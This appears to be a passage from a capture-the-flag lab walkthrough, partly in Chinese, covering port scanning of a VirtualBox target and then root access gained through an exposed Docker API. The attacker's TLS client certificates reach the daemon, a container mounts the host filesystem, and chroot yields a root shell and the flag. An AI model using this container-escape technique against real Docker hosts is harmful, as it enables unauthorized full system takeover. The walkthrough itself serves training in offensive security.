[~] The config fileis expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with--ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open192.168.56.207:22 Open192.168.56.207:80 Open192.168.56.207:8000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-0521:07 EST Initiating ARP Ping Scan at 21:07 Scanning 192.168.56.207 [1port] Completed ARP Ping Scan at 21:07, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of1 host. at 21:07 Completed Parallel DNS resolution of1 host. at 21:07, 0.02s elapsed DNS resolution of1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:07 Scanning 192.168.56.207 [3 ports] Discovered openport80/tcp on192.168.56.207 Discovered openport22/tcp on192.168.56.207 Discovered openport8000/tcp on192.168.56.207 Completed SYN Stealth Scan at 21:07, 0.03s elapsed (3 total ports) Nmap scan reportfor192.168.56.207 Host is up, received arp-response (0.0011s latency). Scanned at 2026-01-0521:07:16 EST for0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8000/tcp open http-alt syn-ack ttl 63 MAC Address: 08:00:27:16:0A:15 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in0.21 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
┌──(root㉿kali)-[/home/kali/Desktop/certs] └─# docker --tls \ --tlscert=client-cert.pem \ --tlskey=client-key.pem \ -H tcp://192.168.56.207:8888 \ version Client: Version:26.1.5+dfsg1 API version:1.45 Go version: go1.24.2 Git commit: a72d7cd Built: Sat May 2417:38:322025 OS/Arch: linux/amd64 Context: default
Server: Engine: Version:28.3.3 API version:1.51 (minimum version 1.24) Go version: go1.24.11 Git commit: bea959c7b793b32a893820b97c4eadc7c87fabb0 Built: Tue Dec 223:05:512025 OS/Arch: linux/amd64 Experimental:false containerd: Version: v2.1.5 GitCommit: fcd43222d6b07379a4be9786bda52438f0dd16a1 runc: Version:1.3.4 GitCommit: d842d7719497cc3b774fd71620278ac9e17710e0 docker-init: Version:0.19.0 GitCommit:
探测docker容器
1 2 3 4 5 6 7
┌──(root㉿kali)-[/home/kali/Desktop/certs] └─# # 在当前终端设置别名 (临时生效) alias dhost='docker --tls--tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://192.168.56.207:8888' ┌──(root㉿kali)-[/home/kali/Desktop/certs] └─# dhost images REPOSITORY TAG IMAGE ID CREATED SIZE laravel-vuln latest aaf7bbe495b7 9 days ago 141MB
成功root
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[/home/kali/Desktop/certs] └─# # 使用本地的 laravel-vuln 镜像,并尝试启动 /bin/bash (如果没有bash则尝试 /bin/sh) dhost run -it --rm -v /:/mnt laravel-vuln /bin/sh /src/laravel# chroot /mnt /bin/bash chroot: can't execute '/bin/bash': No such file or directory /src/laravel# chroot /mnt /bin/sh /# id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /# cd /root ~ # ls root.txt ~ # cat root.txt flag{root-ede49d353365dfcf95b6bf8df1b7a2dc} ~ #